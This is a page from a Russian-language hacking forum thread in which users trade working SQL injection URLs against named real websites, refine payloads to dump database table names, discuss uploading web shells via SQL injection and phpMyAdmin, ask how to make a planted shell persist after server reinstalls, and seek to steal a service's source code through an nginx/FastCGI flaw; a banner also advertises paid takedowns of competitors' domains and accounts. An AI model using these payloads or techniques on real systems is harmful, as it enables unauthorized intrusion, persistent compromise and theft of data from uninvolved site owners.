Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2120 из 2422

2120

Опции темы

Поиск в этой теме

Опции просмотра

21.10.2012, 14:46

WendM

Познающий

Регистрация: 29.01.2012

Сообщений: 44

С нами: 7519286

Репутация: 3

Ребята как раскрутить дальше??

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,version()+)+)+)='1

делал так

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,+select+table_name+from+INFORMATION_SCHEMA.TABLES+)+)+)='1 ОБЛОМ.

и так

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,+select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+1,2+)+)+)='1 ОБЛОМ.

Так же не решен вопрос с этой скулей

Код:

http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g'or(ExtractValue(1,concat(0x3d,select(TABLE_NAME)from(INFORMATION_SCHEMA.TABLES))))='1.html

Прошу показать хотя бы вывод table_name из INFORMATION_SCHEMA. Спасибо

𝕏 Twitter Reddit Telegram Копировать ссылку

21.10.2012, 15:02

MaxFast

Постоянный

Регистрация: 12.10.2011

Сообщений: 569

С нами: 7676246

Репутация: 94

Не нашел раздела с уязвимостями для Bitrix. Посоветуйте.

21.10.2012, 15:18

WendM

Познающий

Регистрация: 29.01.2012

Сообщений: 44

С нами: 7519286

Репутация: 3

Цитата:

Сообщение от MaxFast

Не нашел раздела с уязвимостями для Bitrix. Посоветуйте.

Тут наверно _/thread58123.html

21.10.2012, 15:26

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от WendM

Ребята как раскрутить дальше??

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,version()+)+)+)='1

делал так

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,+select+table_name+from+INFORMATION_SCHEMA.TABLES+)+)+)='1 ОБЛОМ.

и так

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,+select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+1,2+)+)+)='1 ОБЛОМ.

Так же не решен вопрос с этой скулей

Код:

http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g'or(ExtractValue(1,concat(0x3d,select(TABLE_NAME)from(INFORMATION_SCHEMA.TABLES))))='1.html

Прошу показать хотя бы вывод table_name из INFORMATION_SCHEMA. Спасибо

Пользуйся)

Цитата:

Сообщение от None

http://www.muscletalk.ru/pharma.php?id=999999.9%27+or+%28+ExtractValue+%281 ,concat%280x3a,%28select+table_name+from+informati on_schema.tables+limit+0,1%29%29%29%29=%271

21.10.2012, 15:35

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

С нами: 8814194

Репутация: 0

Цитата:

Сообщение от WendM

Ребята как раскрутить дальше??

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,version()+)+)+)='1

делал так

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,+select+table_name+from+INFORMATION_SCHEMA.TABLES+)+)+)='1 ОБЛОМ.

и так

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+or+(+ExtractValue+(1,+concat(+0x3a,+select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+1,2+)+)+)='1 ОБЛОМ.

Так же не решен вопрос с этой скулей

Код:

http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g'or(ExtractValue(1,concat(0x3d,select(TABLE_NAME)from(INFORMATION_SCHEMA.TABLES))))='1.html

Прошу показать хотя бы вывод table_name из INFORMATION_SCHEMA. Спасибо

WendM,

Держите решение Вашей проблемы:

Код:

http://www.muscletalk.ru/pharma.php?id=999999.9'+in+(select(@:=1)||@+from+(select+1+union+select+2+union+select+3)k+group+by+concat(@@version,!@)having@||min(@:=0))+and+'1#

21.10.2012, 15:52

WendM

Познающий

Регистрация: 29.01.2012

Сообщений: 44

С нами: 7519286

Репутация: 3

Цитата:

Сообщение от winstrool

Пользуйся)

Спасибо) Но такой вариант не проходит на

Код:

http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g'or(ExtractValue(1,concat(0x3d,select(TABLE_NAM E)from(INFORMATION_SCHEMA.TABLES))))='1.html

21.10.2012, 18:32

WendM

Познающий

Регистрация: 29.01.2012

Сообщений: 44

С нами: 7519286

Репутация: 3

Тестирую на локалке метод залива шелла через sql inj.

Уязвимый php

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]Новость №"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"
"[/COLOR][COLOR="#007700"];

}

exit;

}

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT text FROM news WHERE id= "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);

print[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

    while ([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]MYSQL_ASSOC[/COLOR][COLOR="#007700"])) {

        print[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

        foreach ([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$col_value[/COLOR][COLOR="#007700"]) {

            print[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$col_value[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

        }

        print[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

    }

    print[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]mysql_free_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]mysql_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]);

 

[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]

Делаю запрос

Код:

http://localhost/mynews.php?id=1+union+select+file_priv+from+mysql.user+where+user='root'+--+

Вылетают ошибки.

Делаю так

Код:

http://localhost/mynews.php?id=1+union+select+file_priv+from+mysql.user+where+user=0x27726F6F7427+--+

Выводится First news

Что не так делаю?

21.10.2012, 21:16

dynda2000

Новичок

Регистрация: 16.03.2012

Сообщений: 12

С нами: 7451606

Репутация: 0

Получилось залить шелл через phpmyadmin, но админы на серве постоянно переустанавливают свой серв и стирают мой шелл, даже иногда не устанавливают phpmyadmin, но вот седня снова они его установили я побырому залил шел во все щели но это не поможет после переустановки все снова слетит. Но база mysql она всегда таже, вот я и подумал можно ли создать там таблицу с этим кодом

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]Click"[/COLOR][COLOR="#007700"];} else {die([/COLOR][COLOR="#DD0000"]"err"[/COLOR][COLOR="#007700"]);}}[/COLOR][COLOR="#0000BB"]?>[/COLOR]
 
[/COLOR]

И как то указать чтоб он автоматически его создавал по указанному адресу например раз в неделю или при его отсутствии. Помогите плииз.

21.10.2012, 21:19

OxoTnik

Постоянный

Регистрация: 10.06.2011

Сообщений: 939

С нами: 7854806

Репутация: 173

dynda2000

http://video.antichat.ru/video/17/ прокатит?

#10

22.10.2012, 04:36

Tir TNT

Новичок

Регистрация: 01.10.2012

Сообщений: 6

С нами: 7165046

Репутация: 0

Нашел дыру Nginx & PHP via FastCGI на member.my-addr.com. Хочется слить исходники многих их сервисов. Пример:

Цитата:

Сообщение от None

https://member.my-addr.com/robots.txt/run.php

Залить любой файл на сайт вроде никак. Есть варианты решения проблемы?

Описание дыры:

_http://cnedelcu.blogspot.com/2010/05/nginx-php-via-fastcgi-important.html

Страница 2120 из 2422

2120

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57